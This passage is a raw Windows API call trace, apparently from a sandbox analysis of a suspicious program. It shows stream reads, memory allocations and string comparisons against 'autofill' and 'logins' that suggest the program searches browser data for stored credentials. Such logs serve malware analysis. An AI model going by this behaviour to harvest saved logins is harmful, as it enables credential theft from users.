plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.194] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.194] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x43, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.194] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1d, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.195] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.195] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.195] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.195] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.195] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x0, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.195] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.195] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.195] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.195] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.195] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.195] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x69, pcbRead=0x12f8f8*=0x5) returned 0x0 [0079.195] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0079.195] LocalFree (hMem=0x6687b0) returned 0x0 [0079.195] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652cb0 [0079.195] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.195] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.195] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.195] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x652cb0, cb=0x1b, pcbRead=0x12f8f8 | out: pv=0x652cb0*=0x73, pcbRead=0x12f8f8*=0x1b) returned 0x0 [0079.195] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0079.195] LocalFree (hMem=0x652cb0) returned 0x0 [0079.195] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.195] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.195] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.196] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x26, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.196] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x8, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x61, pcbRead=0x12f8f8*=0x8) returned 0x0 [0079.196] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x664350 [0079.196] LocalFree (hMem=0x6687b0) returned 0x0 [0079.196] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.196] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.196] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.196] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f917, cb=0x1, pcbRead=0x12f8e4 | out: pv=0x12f917*=0x6, pcbRead=0x12f8e4*=0x1) returned 0x0 [0079.196] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.196] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.196] LocalFree (hMem=0x670c38) returned 0x0 [0079.196] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.196] lstrcmpiA (lpString1="autofill", lpString2="logins") returned -1 [0079.196] LocalFree (hMem=0x6643e8) returned 0x0 [0079.196] LocalFree (hMem=0x6293a8) returned 0x0 [0079.196] LocalFree (hMem=0x664350) returned 0x0 [0079.196] LocalFree (hMem=0x665780) returned 0x0 [0079.196] LocalFree (hMem=0x6687b0) returned 0x0 [0079.196] LocalFree (hMem=0x670d78) returned 0x0 [0079.196] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x632b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.196] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.196] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.196] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x632b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.196] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x4e, pcbRead=0x12f928*=0x1) returned 0x0 [0079.196] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.196] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.197] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x632c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.197] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x6, pcbRead=0x12f928*=0x1) returned 0x0 [0079.197] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.197] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.197] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.197] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.197] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x632d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.197] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x4e, pcbRead=0x12f938 | out: pv=0x655310*=0x6, pcbRead=0x12f938*=0x4e) returned 0x0 [0079.197] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x6, cb=0x4e, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0x4e) returned 0x0 [0079.197] LocalFree (hMem=0x655310) returned 0x0 [0079.197] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.197] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.197] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.197] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.197] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.197] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x6, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.197] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.197] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.197] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.198] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.198] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x27, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.198] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1d, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.198] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.198] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.198] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x67, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.198] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670c38 [0079.198] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.199] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.199] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.199] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.199] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x69, pcbRead=0x12f8f8*=0x5) returned 0x0 [0079.199] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.199] LocalFree (hMem=0x6687b0) returned 0x0 [0079.199] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0079.199] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.199] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.199] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.199] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x664350, cb=0xd, pcbRead=0x12f8f8 | out: pv=0x664350*=0x61, pcbRead=0x12f8f8*=0xd) returned 0x0 [0079.199] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x670cd8 [0079.199] LocalFree (hMem=0x664350) returned 0x0 [0079.199] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.199] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.199] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.199] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.199] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x8, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x61, pcbRead=0x12f8f8*=0x8) returned 0x0 [0079.199] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x664350 [0079.199] LocalFree (hMem=0x6687b0) returned 0x0 [0079.199] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.199] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.200] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x20, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.200] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f917, cb=0x1, pcbRead=0x12f8e4 | out: pv=0x12f917*=0x7, pcbRead=0x12f8e4*=0x1) returned 0x0 [0079.200] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x6643e8 [0079.200] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647b70 [0079.200] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.200] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.200] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x21, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.200] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x647b70, cb=0x2d, pcbRead=0x12f8f8 | out: pv=0x647b70*=0x43, pcbRead=0x12f8f8*=0x2d) returned 0x0 [0079.200] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x643c28 [0079.200] LocalFree (hMem=0x647b70) returned 0x0 [0079.200] LocalFree (hMem=0x670d78) returned 0x0 [0079.200] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.200] lstrcmpiA (lpString1="autofill", lpString2="logins") returned -1 [0079.200] LocalFree (hMem=0x665780) returned 0x0 [0079.200] LocalFree (hMem=0x670cd8) returned 0x0 [0079.200] LocalFree (hMem=0x664350) returned 0x0 [0079.200] LocalFree (hMem=0x6643e8) returned 0x0 [0079.200] LocalFree (hMem=0x643c28) returned 0x0 [0079.200] LocalFree (hMem=0x670c38) returned 0x0 [0079.200] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x62b5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.200] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.200] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.200] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x62b5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.200] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x74, pcbRead=0x12f928*=0x1) returned 0x0 [0079.200] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.200] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.201] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x62b6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.201] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x7, pcbRead=0x12f928*=0x1) returned 0x0 [0079.201] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.201] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.201] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.201] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.201] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x62b7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.201] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x74, pcbRead=0x12f938 | out: pv=0x655310*=0x7, pcbRead=0x12f938*=0x74) returned 0x0 [0079.201] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x7, cb=0x74, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0x74) returned 0x0 [0079.201] LocalFree (hMem=0x655310) returned 0x0 [0079.201] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.201] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.201] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.201] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.201] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.201] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x7, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.201] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.201] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.201] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.201] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.201] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.202] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x3f, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.202] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1d, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.202] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.202] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x81, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.202] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.203] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.203] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.203] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x19, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.203] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670cd8 [0079.203] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.203] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.203] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.203] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.203] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x69, pcbRead=0x12f8f8*=0x5) returned 0x0 [0079.203] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0079.203] LocalFree (hMem=0x6687b0) returned 0x0 [0079.203] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652cb0 [0079.203] IStream:RemoteSeek (in: This=0x64baa8, 